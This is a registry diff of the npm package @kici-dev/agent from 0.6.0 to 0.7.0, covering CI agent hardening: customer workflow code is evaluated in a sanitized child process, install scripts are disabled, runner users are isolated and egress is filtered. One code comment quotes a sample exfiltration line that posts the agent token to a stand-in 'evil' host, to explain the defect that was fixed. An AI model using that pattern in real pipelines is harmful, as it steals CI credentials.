@kici-dev/agent 0.6.0 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (32) hide show
  1. package/dist/config.d.ts +38 -38
  2. package/dist/eval-runner.js +1866 -0
  3. package/dist/execution/dep-installer.d.ts +28 -7
  4. package/dist/execution/eval-context.d.ts +114 -0
  5. package/dist/execution/global-eval-types.d.ts +26 -0
  6. package/dist/execution/job-runner.d.ts +23 -75
  7. package/dist/execution/npm-registry-config.d.ts +6 -0
  8. package/dist/execution/rule-evaluator.d.ts +2 -1
  9. package/dist/execution/sandbox/bare-metal-sandbox.d.ts +6 -0
  10. package/dist/execution/sandbox/container-hardening.d.ts +8 -0
  11. package/dist/execution/sandbox/container-sandbox.d.ts +9 -0
  12. package/dist/execution/sandbox/eval-dispatch.d.ts +28 -0
  13. package/dist/execution/sandbox/eval-fork-runner.d.ts +43 -0
  14. package/dist/execution/sandbox/eval-runner.d.ts +21 -0
  15. package/dist/execution/sandbox/fork-runner.d.ts +23 -0
  16. package/dist/execution/sandbox/ipc-protocol.d.ts +82 -8
  17. package/dist/execution/sandbox/job-network.d.ts +91 -0
  18. package/dist/execution/sandbox/log-masker.d.ts +38 -0
  19. package/dist/execution/sandbox/types.d.ts +6 -0
  20. package/dist/execution/sandbox/workflow-runner.d.ts +1 -1
  21. package/dist/execution/source-packer.d.ts +4 -4
  22. package/dist/execution/source-restore.d.ts +28 -13
  23. package/dist/execution/workflow-loader.d.ts +16 -13
  24. package/dist/execution/yarnrc-berry-config.d.ts +6 -4
  25. package/dist/index.js +83 -40
  26. package/dist/provenance/statement-builder.d.ts +19 -8
  27. package/dist/server.js +1527 -1665
  28. package/dist/workflow-runner-bundle.js +1117 -185
  29. package/dist/workflow-runner.js +395 -149
  30. package/dist/ws/orchestrator-client.d.ts +4 -0
  31. package/package.json +6 -5
  32. package/sbom.spdx.json +66 -66
@@ -19,9 +19,11 @@
19
19
  * Security: the install runs with an isolated per-invocation cache/store
20
20
  * directory to prevent cache poisoning across build jobs — a malicious
21
21
  * package.json in one repo cannot taint the cache used by subsequent builds.
22
- * The same pressure rules out letting lifecycle scripts see synthesized auth
23
- * env vars the install runs with `--ignore-scripts` whenever a private
24
- * registry is configured.
22
+ * The install runs with `--ignore-scripts` for every package manager. A
23
+ * lifecycle script in a committed `package.json` is customer code the agent
24
+ * never agreed to execute: it would run wherever the install runs, which for a
25
+ * step-child install is the process holding the job's secrets. Operators who
26
+ * genuinely need it set `KICI_ALLOW_INSTALL_SCRIPTS=true` on the agent.
25
27
  */
26
28
  import { type NpmRegistrySpec } from './npm-registry-config.js';
27
29
  export interface InstallDepsOptions {
@@ -36,6 +38,23 @@ export interface InstallDepsOptions {
36
38
  * then falls back to `kiciDir`. Defaults to `dirname(kiciDir)`.
37
39
  */
38
40
  repoRoot?: string;
41
+ /**
42
+ * Base environment for every install and workspace-build subprocess.
43
+ *
44
+ * Defaults to `process.env`, which is correct inside the runner child, where
45
+ * `process.env` is already the sanitized job environment carrying the
46
+ * orchestrator's `KICI_*` system vars, org context vars and the job's own
47
+ * `env`. An agent-process caller MUST pass a sanitized base instead —
48
+ * `buildSanitizedEnv({}, { trustedEnv })` — or the install inherits the
49
+ * agent's credentials.
50
+ */
51
+ baseEnv?: NodeJS.ProcessEnv;
52
+ /**
53
+ * Operator opt-out from `--ignore-scripts` (`KICI_ALLOW_INSTALL_SCRIPTS`).
54
+ * Read only from agent config, never from a dispatch payload or a workflow,
55
+ * so a pull request cannot re-enable lifecycle scripts for itself.
56
+ */
57
+ allowInstallScripts?: boolean;
39
58
  }
40
59
  /**
41
60
  * Install `.kici/` dependencies inline with the repo's package manager.
@@ -46,16 +65,18 @@ export interface InstallDepsOptions {
46
65
  * between build jobs; the directory is removed after installation.
47
66
  *
48
67
  * If `opts.npmRegistries` / `opts.installEnvSecrets` is provided, a job-scoped
49
- * `.kici/.npmrc` overlay is synthesized for the install, restored in `finally`,
50
- * and the install runs with `--ignore-scripts` so lifecycle scripts in a
51
- * committed `package.json` cannot exfiltrate the synthesized token env vars.
68
+ * `.kici/.npmrc` overlay is synthesized for the install and restored in
69
+ * `finally`.
70
+ *
71
+ * Lifecycle scripts are disabled for every package manager unless the operator
72
+ * set `opts.allowInstallScripts`.
52
73
  *
53
74
  * @param kiciDir - Path to the `.kici/` directory containing package.json.
54
75
  * @param opts - Optional registry / installEnv / repoRoot configuration.
55
76
  */
56
77
  export declare function installDeps(kiciDir: string, opts?: InstallDepsOptions): Promise<void>;
57
78
  /** Pure: argv for `yarn install` with an isolated cache folder. */
58
- export declare function buildYarnInstallArgs(cacheDir: string, hasPrivateRegistry: boolean): string[];
79
+ export declare function buildYarnInstallArgs(cacheDir: string, ignoreScripts: boolean): string[];
59
80
  /** Pure: argv for a berry `yarn install`. Cache + linker live in .yarnrc.yml. */
60
81
  export declare function buildYarnBerryInstallArgs(): string[];
61
82
  //# sourceMappingURL=dep-installer.d.ts.map
@@ -0,0 +1,114 @@
1
+ /**
2
+ * Context builders shared by every customer-code EVALUATION.
3
+ *
4
+ * Split out of `job-runner.ts` so the eval child can import them without
5
+ * dragging in the agent's job orchestrator (dockerode, the sandbox backends, the
6
+ * orchestrator WebSocket client). The child is the process that loads and runs
7
+ * customer workflow modules, so what it imports is part of its boundary.
8
+ *
9
+ * Every `process.env` read below is deliberate and correct **in the eval child**:
10
+ * there `process.env` is the sanitized environment the child was forked with,
11
+ * carrying no agent credential. The same expressions were the defect while these
12
+ * functions ran in the agent process, which is why they moved rather than being
13
+ * rewritten.
14
+ */
15
+ import type { JobDispatch, LogStream } from '@kici-dev/engine';
16
+ import type { RepoInfo } from '@kici-dev/sdk';
17
+ import { buildNeedsContext } from '@kici-dev/sdk/internal';
18
+ import type { $ as Shell } from 'zx';
19
+ import { type ChangedFilesResult } from '../checkout/changed-files.js';
20
+ import type { FilterEvalInput } from './init-runner.js';
21
+ import type { GlobalEvalRoundJobConfig } from './global-eval-types.js';
22
+ export declare const DEFAULT_GLOBAL_EVAL_ROUND_TIMEOUT_MS = 120000;
23
+ export declare const DEFAULT_GLOBAL_EVAL_CANDIDATE_TIMEOUT_MS = 20000;
24
+ /**
25
+ * Build the source / workflow repo pair the round hands to every filter and
26
+ * generator. Mirrors the sandbox's own `setupGlobalWorkflowEnv` construction so
27
+ * a generator's two evaluations see the same identifiers, refs, and shas — only
28
+ * the absolute paths differ, and those are never compared.
29
+ */
30
+ export declare function buildRoundRepos(dispatch: JobDispatch, config: GlobalEvalRoundJobConfig, workflowDir: string, sourceDir: string): {
31
+ sourceRepo: RepoInfo;
32
+ workflowRepo: RepoInfo;
33
+ };
34
+ /**
35
+ * Resolve the changed-files list a `filter` reads — for a global eval round and
36
+ * for a filter-bearing init job alike.
37
+ *
38
+ * Ground truth is the agent's own source clone; an already-`fetched` list from
39
+ * the orchestrator is a free fast-path. A diff-less event (schedule / tag /
40
+ * manual) resolves to `unavailable`, which makes `ctx.changedFiles` throw
41
+ * rather than read as an empty diff — a `filter` returning false produces no
42
+ * run at all, so a silently-empty diff would suppress the workflow with no
43
+ * artifact anywhere to inspect.
44
+ */
45
+ export declare function resolveEvalChangedFiles(dispatch: JobDispatch, event: Record<string, unknown>, sourceDir: string): Promise<ChangedFilesResult>;
46
+ /**
47
+ * Materialize the source tree a non-global workflow's `filter` reads through
48
+ * `ctx.sourceRepo.path`.
49
+ *
50
+ * An init or dynamic-eval job normally restores only `.kici/` from the cached
51
+ * source tarball — enough to import the workflow module, but a directory with no
52
+ * repo in it. A filter that reads a file or shells out against that path would
53
+ * get a confidently wrong answer, and `changedFiles` could not be computed at
54
+ * all, so a filter-bearing job clones the source repo into a sibling directory.
55
+ *
56
+ * When no tarball was attached the job already cloned the whole repo into
57
+ * `workDir`, and that clone is reused rather than duplicated — including the
58
+ * local working-tree case, where there is no repo url and `workDir` IS the tree.
59
+ *
60
+ * A tarball with no repo url is the one combination that cannot be honoured:
61
+ * `workDir` holds `.kici/` alone and there is nothing to clone from. Returning it
62
+ * would hand the filter a directory in which every path test answers "absent" —
63
+ * the exact silent lie this function exists to prevent — so it throws instead.
64
+ */
65
+ export declare function ensureFilterSourceDir(dispatch: JobDispatch, workDir: string): Promise<string>;
66
+ /**
67
+ * Build the context a non-global workflow's `filter` is evaluated against.
68
+ *
69
+ * `sourceRepo` and `workflowRepo` are the same repo — that is what "non-global"
70
+ * means — so both carry the same identifier, path, ref, and sha. The zx shell is
71
+ * rooted at the source tree and streams into the evaluating step's log, matching
72
+ * what the global eval round hands its own filters.
73
+ *
74
+ * They are two distinct objects all the same. Being the same repo is a fact
75
+ * about their VALUES, not a licence to hand the author one object under two
76
+ * names: a filter that mutated `ctx.sourceRepo` would silently see
77
+ * `ctx.workflowRepo` change with it, which happens on no other path.
78
+ */
79
+ export declare function buildInitFilterInput(dispatch: JobDispatch, event: Record<string, unknown>, workDir: string, emit: (line: string, stream: LogStream) => void): Promise<FilterEvalInput>;
80
+ /**
81
+ * Build the per-invocation zx `$` a global eval round hands to filters and
82
+ * generators, so a `await $\`…\`` inside one is visible in the eval step's log.
83
+ *
84
+ * **`env` is the LIVE `process.env` reference, never a spread.** A spread is a
85
+ * snapshot taken when the shell is built, which is before the round applies the
86
+ * seven `KICI_*` keys — so a filter that shells out (`$\`printenv
87
+ * KICI_SOURCE_REPO_PATH\``, or any subprocess inheriting env) would see nothing
88
+ * here while the sandbox re-evaluation's ambient `$` resolves `process.env`
89
+ * after `setupGlobalWorkflowEnv` has run and does see them. That is the same
90
+ * two-worlds determinism failure the cwd choice below exists to prevent, one
91
+ * layer down. Passing the live reference reproduces the ambient `$`'s own
92
+ * behaviour, which is what the sandbox uses.
93
+ *
94
+ * `verbose: true` + `makeStreamingZxLog` honors a per-call `quiet: true`, so a
95
+ * decrypted secret never leaks into the log.
96
+ *
97
+ * `emit` is a callback rather than the `LogStreamer` itself so the caller can
98
+ * route it through its own closed-guard: `LogStreamer.destroy()` sets no closed
99
+ * flag and `addLine` buffers unconditionally, so a subprocess line arriving
100
+ * after the step was reported would otherwise emit a `log.chunk` for a terminal
101
+ * step. That is the likeliest path for it — an orphaned candidate is usually
102
+ * orphaned *because* it is waiting on a subprocess.
103
+ */
104
+ export declare function buildEvalShell(cwd: string, emit: (line: string, stream: LogStream) => void): Promise<typeof Shell>;
105
+ /**
106
+ * Build the result-aware `ctx.needs` for a dynamic eval from its frozen upstream
107
+ * snapshot. Returns undefined for an event-only generator (no snapshot).
108
+ */
109
+ export declare function buildEvalNeedsContext(config: {
110
+ resultAware?: boolean;
111
+ declaredNeeds?: readonly unknown[];
112
+ upstreamSnapshot?: import('@kici-dev/engine').UpstreamSnapshot;
113
+ }): ReturnType<typeof buildNeedsContext> | undefined;
114
+ //# sourceMappingURL=eval-context.d.ts.map
@@ -0,0 +1,26 @@
1
+ /**
2
+ * Dispatch shape of a pre-run global eval round.
3
+ *
4
+ * Its own module because both the agent's job runner and the eval child read it,
5
+ * and the child must not import the job runner.
6
+ */
7
+ import type { GlobalEvalCandidate } from './global-eval-runner.js';
8
+ /**
9
+ * `jobConfig` shape of a pre-run global eval round job.
10
+ *
11
+ * `roundTimeoutMs` / `candidateTimeoutMs` are optional so an older orchestrator
12
+ * that does not send them still dispatches a runnable round; the agent falls
13
+ * back to the defaults in `eval-context.ts`.
14
+ */
15
+ export interface GlobalEvalRoundJobConfig {
16
+ globalEvalRound: true;
17
+ candidates: GlobalEvalCandidate[];
18
+ event: Record<string, unknown>;
19
+ workflowRepoUrl: string;
20
+ workflowRef?: string;
21
+ workflowSha?: string;
22
+ workflowRepoIdentifier?: string;
23
+ roundTimeoutMs?: number;
24
+ candidateTimeoutMs?: number;
25
+ }
26
+ //# sourceMappingURL=global-eval-types.d.ts.map
@@ -1,70 +1,9 @@
1
1
  import type { AgentToOrchestratorMessage, JobDispatch } from '@kici-dev/engine';
2
- import type { LogStream } from '@kici-dev/engine';
3
2
  import type { AppConfig } from '../config.js';
4
- import { type FilterEvalInput } from './init-runner.js';
5
- import { buildNeedsContext } from '@kici-dev/sdk';
6
- import type { $ as Shell } from 'zx';
3
+ import { buildEvalNeedsContext, buildEvalShell, buildInitFilterInput, ensureFilterSourceDir } from './eval-context.js';
4
+ export { buildEvalNeedsContext, buildEvalShell, buildInitFilterInput, ensureFilterSourceDir };
7
5
  import type { CacheRequestIpc, CacheResponseIpc, ProvenanceRequestIpc, ProvenanceResponseIpc, ArtifactRequestIpc, ArtifactResponseIpc, StepApprovalRequestIpc, StepApprovalResolvedIpc } from './sandbox/index.js';
8
6
  import { BetweenJobsController } from './between-jobs-controller.js';
9
- /**
10
- * Materialize the source tree a non-global workflow's `filter` reads through
11
- * `ctx.sourceRepo.path`.
12
- *
13
- * An init or dynamic-eval job normally restores only `.kici/` from the cached
14
- * source tarball — enough to import the workflow module, but a directory with no
15
- * repo in it. A filter that reads a file or shells out against that path would
16
- * get a confidently wrong answer, and `changedFiles` could not be computed at
17
- * all, so a filter-bearing job clones the source repo into a sibling directory.
18
- *
19
- * When no tarball was attached the job already cloned the whole repo into
20
- * `workDir`, and that clone is reused rather than duplicated — including the
21
- * local working-tree case, where there is no repo url and `workDir` IS the tree.
22
- *
23
- * A tarball with no repo url is the one combination that cannot be honoured:
24
- * `workDir` holds `.kici/` alone and there is nothing to clone from. Returning it
25
- * would hand the filter a directory in which every path test answers "absent" —
26
- * the exact silent lie this function exists to prevent — so it throws instead.
27
- */
28
- export declare function ensureFilterSourceDir(dispatch: JobDispatch, workDir: string): Promise<string>;
29
- /**
30
- * Build the context a non-global workflow's `filter` is evaluated against.
31
- *
32
- * `sourceRepo` and `workflowRepo` are the same repo — that is what "non-global"
33
- * means — so both carry the same identifier, path, ref, and sha. The zx shell is
34
- * rooted at the source tree and streams into the evaluating step's log, matching
35
- * what the global eval round hands its own filters.
36
- *
37
- * They are two distinct objects all the same. Being the same repo is a fact
38
- * about their VALUES, not a licence to hand the author one object under two
39
- * names: a filter that mutated `ctx.sourceRepo` would silently see
40
- * `ctx.workflowRepo` change with it, which happens on no other path.
41
- */
42
- export declare function buildInitFilterInput(dispatch: JobDispatch, event: Record<string, unknown>, workDir: string, emit: (line: string, stream: LogStream) => void): Promise<FilterEvalInput>;
43
- /**
44
- * Build the per-invocation zx `$` a global eval round hands to filters and
45
- * generators, so a `await $\`…\`` inside one is visible in the eval step's log.
46
- *
47
- * **`env` is the LIVE `process.env` reference, never a spread.** A spread is a
48
- * snapshot taken when the shell is built, which is before the round applies the
49
- * seven `KICI_*` keys — so a filter that shells out (`$\`printenv
50
- * KICI_SOURCE_REPO_PATH\``, or any subprocess inheriting env) would see nothing
51
- * here while the sandbox re-evaluation's ambient `$` resolves `process.env`
52
- * after `setupGlobalWorkflowEnv` has run and does see them. That is the same
53
- * two-worlds determinism failure the cwd choice below exists to prevent, one
54
- * layer down. Passing the live reference reproduces the ambient `$`'s own
55
- * behaviour, which is what the sandbox uses.
56
- *
57
- * `verbose: true` + `makeStreamingZxLog` honors a per-call `quiet: true`, so a
58
- * decrypted secret never leaks into the log.
59
- *
60
- * `emit` is a callback rather than the `LogStreamer` itself so the caller can
61
- * route it through its own closed-guard: `LogStreamer.destroy()` sets no closed
62
- * flag and `addLine` buffers unconditionally, so a subprocess line arriving
63
- * after the step was reported would otherwise emit a `log.chunk` for a terminal
64
- * step. That is the likeliest path for it — an orphaned candidate is usually
65
- * orphaned *because* it is waiting on a subprocess.
66
- */
67
- export declare function buildEvalShell(cwd: string, emit: (line: string, stream: LogStream) => void): Promise<typeof Shell>;
68
7
  /**
69
8
  * Dependencies injected into JobRunner.
70
9
  */
@@ -84,6 +23,10 @@ export interface JobRunnerDeps {
84
23
  contentHash?: string;
85
24
  lockfileHash?: string;
86
25
  depsHash?: string;
26
+ /** SHA-256 of the source tarball's own bytes; source uploads only. */
27
+ sourceTarDigest?: string;
28
+ /** In-repo sibling closure digest; deps uploads only. */
29
+ siblingsDigest?: string;
87
30
  platform: string;
88
31
  arch: string;
89
32
  }) => Promise<string>;
@@ -94,6 +37,10 @@ export interface JobRunnerDeps {
94
37
  platform: string;
95
38
  arch: string;
96
39
  depsHash?: string;
40
+ /** SHA-256 of the source tarball's own bytes; source uploads only. */
41
+ sourceTarDigest?: string;
42
+ /** In-repo sibling closure digest; deps uploads only. */
43
+ siblingsDigest?: string;
97
44
  }) => void;
98
45
  /**
99
46
  * Send an event.emit WS message to the orchestrator and await the response.
@@ -200,15 +147,6 @@ interface ActiveJob {
200
147
  * bwrap / firecracker keep the external runner (they bind the workspace).
201
148
  */
202
149
  export declare function resolveRunnerBundlePath(runnerPath: string): string;
203
- /**
204
- * Build the result-aware `ctx.needs` for a dynamic eval from its frozen upstream
205
- * snapshot. Returns undefined for an event-only generator (no snapshot).
206
- */
207
- export declare function buildEvalNeedsContext(config: {
208
- resultAware?: boolean;
209
- declaredNeeds?: readonly unknown[];
210
- upstreamSnapshot?: import('@kici-dev/engine').UpstreamSnapshot;
211
- }): ReturnType<typeof buildNeedsContext> | undefined;
212
150
  /**
213
151
  * Resolve a job's workDir and its cleanup.
214
152
  *
@@ -284,8 +222,8 @@ export declare class JobRunner {
284
222
  * orchestrator relay (unit harnesses, offline local runs).
285
223
  *
286
224
  * A failure here must not fail the job: without a helper, git falls back to
287
- * its own mechanisms exactly as it did before this existed. The job simply
288
- * cannot push.
225
+ * its own mechanisms exactly as it did before this existed. The job cannot
226
+ * push.
289
227
  */
290
228
  private startGitCredentials;
291
229
  /**
@@ -422,6 +360,17 @@ export declare class JobRunner {
422
360
  * when the checkout or the round machinery breaks.
423
361
  */
424
362
  private handleGlobalEvalRound;
363
+ /**
364
+ * Run one evaluation in the eval child and stream its log onto the job's
365
+ * synthetic step-0 log.
366
+ *
367
+ * Every customer-module load and evaluation goes through here. The calling
368
+ * handler keeps what is the agent's own work — materializing the workspace,
369
+ * installing dependencies, packing and uploading a tarball, reporting status —
370
+ * and hands the child only the evaluation itself, in a process whose
371
+ * environment carries no agent credential.
372
+ */
373
+ private runEvaluation;
425
374
  /**
426
375
  * Handle an init-only job.
427
376
  *
@@ -503,5 +452,4 @@ export declare class JobRunner {
503
452
  */
504
453
  private sendStepStatus;
505
454
  }
506
- export {};
507
455
  //# sourceMappingURL=job-runner.d.ts.map
@@ -43,6 +43,12 @@ export interface ApplyNpmRegistryConfigArgs {
43
43
  installEnvSecrets: Record<string, string> | undefined;
44
44
  /** Short (8 char) job-scoped nonce — used as suffix on synthesized env-var names. */
45
45
  jobIdShort: string;
46
+ /**
47
+ * Disable package lifecycle scripts. Read by the berry flavor, which controls
48
+ * them through `.yarnrc.yml` (`enableScripts`) rather than a CLI flag.
49
+ * Defaults to true when omitted.
50
+ */
51
+ ignoreScripts?: boolean;
46
52
  }
47
53
  export interface ApplyNpmRegistryConfigResult {
48
54
  /** Env vars to merge into the install subprocess (token vars + installEnvSecrets). */
@@ -1,2 +1,3 @@
1
- export { createRuleContext, ChangedFilesUnavailableError, evaluateRules, type RuleEvaluationResult, } from '@kici-dev/sdk';
1
+ export { ChangedFilesUnavailableError, type RuleEvaluationResult } from '@kici-dev/sdk';
2
+ export { createRuleContext, evaluateRules } from '@kici-dev/sdk/internal';
2
3
  //# sourceMappingURL=rule-evaluator.d.ts.map
@@ -36,6 +36,11 @@ interface BareMetalSandboxOptions {
36
36
  * the between-jobs phase can reap a backgrounded daemon. Default true.
37
37
  */
38
38
  orphanCleanup?: boolean;
39
+ /**
40
+ * Dedicated user for the runner child (`KICI_RUNNER_USER`). Unset, the child
41
+ * shares the agent's uid and can read the agent process.
42
+ */
43
+ runnerUser?: string;
39
44
  }
40
45
  /**
41
46
  * Bare-metal execution sandbox implementation.
@@ -49,6 +54,7 @@ export declare class BareMetalSandbox implements ExecutionSandbox {
49
54
  private readonly sandboxNetwork;
50
55
  private readonly env;
51
56
  private readonly orphanCleanup;
57
+ private readonly runnerUser;
52
58
  private runner;
53
59
  private workDir;
54
60
  private lastOptions;
@@ -57,6 +57,14 @@ export interface SandboxHardeningOptions {
57
57
  nanoCpus: number;
58
58
  /** Config-derived network posture (`isolated` → `none`, else `default`). */
59
59
  networkMode: SandboxNetworkMode;
60
+ /**
61
+ * Join the agent's `kici-jobs` bridge instead of the runtime's default
62
+ * bridge, so per-container egress rules can be keyed on the container's IP
63
+ * (`KICI_SANDBOX_NETWORK_ISOLATION`). Only meaningful when the effective
64
+ * network is `default`: `none` has no egress, and `host` is the host
65
+ * namespace by request.
66
+ */
67
+ jobNetworkName?: string;
60
68
  /** Optional dispatch-resolved escape hatch (Sub-wish B populates this at dispatch). */
61
69
  grant?: ResolvedSandboxGrant;
62
70
  }
@@ -94,6 +94,12 @@ interface ContainerSandboxOptions {
94
94
  * constructor testable and lets non-production callers opt out explicitly.
95
95
  */
96
96
  hardening?: SandboxHardeningOptions;
97
+ /**
98
+ * Apply RFC1918 + cloud-metadata egress filtering to the job container
99
+ * (`KICI_SANDBOX_NETWORK_ISOLATION`, default on). Ignored when the effective
100
+ * network is `host` or `none` — neither has a bridge IP to key rules on.
101
+ */
102
+ networkIsolation?: boolean;
97
103
  }
98
104
  export declare class ContainerSandbox implements ExecutionSandbox {
99
105
  private readonly docker;
@@ -117,6 +123,9 @@ export declare class ContainerSandbox implements ExecutionSandbox {
117
123
  private readonly keepFailed;
118
124
  private readonly jobId;
119
125
  private readonly hardening?;
126
+ private readonly networkIsolation;
127
+ /** Container IP the applied egress rules are keyed on; unset when none were applied. */
128
+ private egressRuleIp;
120
129
  /** Resolved container user (image-user override / grant), applied to createContainer + each exec. */
121
130
  private resolvedUser?;
122
131
  /** The running container instance (set during setup). */
@@ -0,0 +1,28 @@
1
+ /**
2
+ * The four evaluations the eval child performs, with the IPC shell factored out.
3
+ *
4
+ * Separated from `eval-runner.ts` so this — the code that actually loads and
5
+ * runs a customer workflow module — is directly testable, and so a unit test can
6
+ * drive the real evaluation through the same seam the child uses rather than a
7
+ * hand-written imitation of it that would drift.
8
+ *
9
+ * Every `process.env` read below is correct BECAUSE it runs in the eval child:
10
+ * there `process.env` is the sanitized environment the child was forked with,
11
+ * carrying no agent credential. The same expressions were the defect while these
12
+ * evaluations ran in the agent process, which is why they moved rather than
13
+ * being rewritten.
14
+ */
15
+ import type { LogStream } from '@kici-dev/engine';
16
+ import type { DynamicJobContext } from '@kici-dev/sdk';
17
+ import type { EvalRequest } from './ipc-protocol.js';
18
+ /** What an evaluation needs from its host: a log sink and the `ctx.kici` API. */
19
+ export interface EvalDispatchDeps {
20
+ emit: (line: string, stream?: LogStream) => void;
21
+ kici: DynamicJobContext['kici'];
22
+ }
23
+ /**
24
+ * Run one evaluation request. The single entry point the eval child's IPC shell
25
+ * calls, and the seam a unit test drives.
26
+ */
27
+ export declare function runEvalRequest(request: EvalRequest, deps: EvalDispatchDeps): Promise<unknown>;
28
+ //# sourceMappingURL=eval-dispatch.d.ts.map
@@ -0,0 +1,43 @@
1
+ /**
2
+ * Agent-side driver for the eval child.
3
+ *
4
+ * Forks `eval-runner.js` with a sanitized environment, sends one `eval`
5
+ * request, streams the child's log lines onto the job's synthetic step-0 log,
6
+ * and resolves with the evaluation's serialized result.
7
+ *
8
+ * The accepted inbound set is exactly `ready`, `log.line`, `eval.api.request`,
9
+ * `eval.result` and `eval.error` — anything else from the child is ignored, so a
10
+ * customer module that gains code execution in the child cannot reach the step
11
+ * runner's privileged relays by naming one of their message types.
12
+ */
13
+ import type { LogStream } from '@kici-dev/engine';
14
+ import type { EvalRequest } from './ipc-protocol.js';
15
+ export interface RunEvalChildOptions {
16
+ /** Absolute path to the compiled `eval-runner.js`. */
17
+ evalRunnerPath: string;
18
+ /** The evaluation to perform. */
19
+ request: EvalRequest;
20
+ /** Stream one captured line onto the job's log. */
21
+ onLogLine: (line: string, stream?: LogStream) => void;
22
+ /**
23
+ * Relay a `ctx.kici` call to the orchestrator. Omitted means no API transport
24
+ * is wired, and every call rejects — the same fallback the in-process
25
+ * evaluation used.
26
+ */
27
+ onApiRequest?: (method: string, params: Record<string, unknown>) => Promise<unknown>;
28
+ /**
29
+ * Operator-set agent-launch property. Threaded through so a trusted fleet
30
+ * agent's declared passthrough env still reaches an evaluation.
31
+ */
32
+ trustedEnv?: boolean;
33
+ /** Cancels the evaluation; the child is killed and the promise rejects. */
34
+ signal?: AbortSignal;
35
+ }
36
+ /**
37
+ * Run one evaluation in a fresh child and resolve with its result.
38
+ *
39
+ * Rejects with the evaluation's own error text on `eval.error`, so the calling
40
+ * handler reports exactly the message the in-process evaluation used to throw.
41
+ */
42
+ export declare function runEvalChild<T>(options: RunEvalChildOptions): Promise<T>;
43
+ //# sourceMappingURL=eval-fork-runner.d.ts.map
@@ -0,0 +1,21 @@
1
+ /**
2
+ * The eval child: the only process in which customer EVALUATION code runs.
3
+ *
4
+ * The agent forks this entry once per evaluation job — `__init__`, `__dynamic__`,
5
+ * `__build__` and a global eval round — with an environment built by
6
+ * `buildSanitizedEnv`, so the workflow module, its `filter`, its dynamic `env` /
7
+ * `environment` / `concurrencyGroup` / `matrix` functions and any `DynamicJobFn`
8
+ * load and execute where the agent's credentials are not.
9
+ *
10
+ * They used to run in the agent's own V8 isolate with the agent's `process.env`.
11
+ * A `matrix: async ({ env }) => fetch('https://evil/', { body: env.KICI_AGENT_TOKEN })`
12
+ * in a pull request was therefore enough to take the agent's identity.
13
+ *
14
+ * This file is the IPC shell only; the evaluations themselves live in
15
+ * `eval-dispatch.ts`. Communication uses a message union of its own
16
+ * (`AgentToEvalMessage` / `EvalToAgentMessage`), NOT the step runner's — see the
17
+ * note above the union in `ipc-protocol.ts` for why sharing that one would be a
18
+ * privilege expansion.
19
+ */
20
+ export {};
21
+ //# sourceMappingURL=eval-runner.d.ts.map
@@ -54,6 +54,11 @@ interface ForkRunnerOptions {
54
54
  * Defaults to 30_000 (30 seconds).
55
55
  */
56
56
  maxGracePeriodMs?: number;
57
+ /**
58
+ * Run the child as a dedicated user (uid, `uid:gid`, or a user name) instead
59
+ * of the agent's own. Opt-in; unset keeps today's same-uid behaviour.
60
+ */
61
+ runnerUser?: string;
57
62
  /**
58
63
  * Spawn the runner child `detached` so it leads its own process group. Set by
59
64
  * the bare-metal backend when orphan cleanup is on and bwrap is off, so the
@@ -119,6 +124,7 @@ export interface ForkRunnerHandle {
119
124
  export declare function buildRequest(dispatch: JobDispatch, workDir: string, extra?: {
120
125
  cleanupOnly?: boolean;
121
126
  credentialHelperPath?: string;
127
+ allowInstallScripts?: boolean;
122
128
  }): JobExecutionRequest;
123
129
  /**
124
130
  * Build bubblewrap (bwrap) arguments for namespace isolation.
@@ -151,6 +157,23 @@ export declare function buildBwrapArgs(workDir: string, nodeExecPath: string, ne
151
157
  * the same clone-source affordance across both isolation models.
152
158
  */
153
159
  export declare function fileCloneSourceBinds(repoUrl: string | undefined): string[];
160
+ /** A resolved POSIX identity for the runner child. */
161
+ export interface RunnerIdentity {
162
+ uid: number;
163
+ gid: number;
164
+ }
165
+ /**
166
+ * Resolve a `KICI_RUNNER_USER` spec to numeric ids.
167
+ *
168
+ * Accepts `uid`, `uid:gid`, or a user name. A name is resolved through `id`,
169
+ * which is present on every POSIX host the bare-metal backend supports; a uid
170
+ * with no gid takes that user's primary group.
171
+ *
172
+ * Throws on an unresolvable spec rather than silently falling back to the
173
+ * agent's own uid — the operator set this to get a boundary, so quietly not
174
+ * having one is the worst outcome.
175
+ */
176
+ export declare function resolveRunnerUser(spec: string | undefined): RunnerIdentity | undefined;
154
177
  /**
155
178
  * Spawn the workflow runner as a child process with IPC channel.
156
179
  *